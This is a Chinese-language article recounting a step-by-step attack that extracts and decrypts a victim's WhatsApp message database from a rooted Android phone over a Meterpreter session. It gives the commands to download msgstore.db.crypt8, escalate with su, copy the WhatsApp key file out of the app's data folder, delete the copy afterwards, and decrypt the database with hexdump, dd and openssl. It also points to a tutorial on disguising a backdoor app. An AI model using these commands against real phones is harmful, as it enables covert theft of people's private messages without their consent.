几小时前,网络上发布了一个有趣的文章《 如何远程破解并解密WhatsApp数据库[ROOT] 》,文中解释了如何从一个root过的安卓系统中提取并解密WhatsApp数据库。尽管通常情况下WhatsApp非常安全,但对安卓设备的root处理将可能使用户暴露在攻击风险之中。
接下来,就让我们一步一步看看作者(使用匿名 F.E.A.R. )所提出的攻击场景。
正如 这篇指南 中所解释的,如果安卓设备通过使用Meterpeter命令进行了root,那么这一阶段将变得很简单。
为了攻击并解密WhatsApp数据库,攻击者需要一个存在于数据文件夹中的密钥文件,而访问该文件的唯一途径就是拥有root权限。此外,该密钥文件是解密WhatsApp数据库所必不可少的。
使用下列命令通过Meterpreter下载数据库:
cd / cd /sdcard/WhatsApp ls (打印当前目录) cd Databases 下载msgstore.db.crypt8 (这里需要耗费一些时间,可能很长)
解密WhatsApp数据库所必需的密钥文件中存储了两套解密密钥,即实际的加密密钥K和一个名为IV的初始化向量。值得一提的是,WhatsApp密钥文件存储在一个安全的位置。下面这些都是提取密钥文件的命令:
shell su(超级用户访问或仅仅进行提权)
正如F.E.A.R.所解释的,这是最困难的部分,特别是如果目标手机用户是有经验且熟练的用户,因为他必须已经安装 SuperSU 应用程序。
可以看一下用户 bart 发布的 这篇教程 ,里面解释了如何伪装一个后门应用程序。不过,如果下列场景中的受害者并非是一个有经验的或熟练的用户,那么事情将变得更加简单:
1、他们没有安装SuperSU应用程序。 2、对于新安装的应用,他们没有改变设置为PROMPT,而并非GRANT。
执行以下命令来访问密钥文件夹,并提取解密密钥。
cd / cd /data/data ls cd com.whatsapp ls cd files ls cp key /sdcard/Download (意思是将文件key拷贝到/sdcard/Download文件夹)
下载提取的密钥文件到root目录,该目录中还含有加密的WhatsApp数据库:
cd / cd /sdcard/Download download key rm key (确保你删除了key文件)
文章中报道了2种不同的方法来解密WhatsApp:
hexdump -e '2/1 "%02x"' key | cut -b 253-316 > aes.txt hexdump -n 67 -e '2/1 "%02x"' msgstore.db.crypt8 | cut -b 103-134 > iv.txt dd if=msgstore.db.crypt8 of=msgstore.db.crypt8.nohdr ibs=67 skip=1 openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K $(cat aes.txt) -iv $(cat iv.txt) > msgstore.gz gzip -cdq msgstore.gz > msgstore.db
如果第4行命令不能工作,那么就按下面的指令操作:
hexdump -e ‘2/1 “%02x”‘ key | cut -b 253-316 hexdump -n 67 -e ‘2/1 “%02x”‘ msgstore.db.crypt8 | cut -b 103-134 openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K (从第1条指令中粘贴文本文档) -iv (从第2条指令中粘贴文本文档) > msgstore.gz
(2)第二种方法基于简单的Windows WhatsApp查看器应用程序,可以看一下 原文 。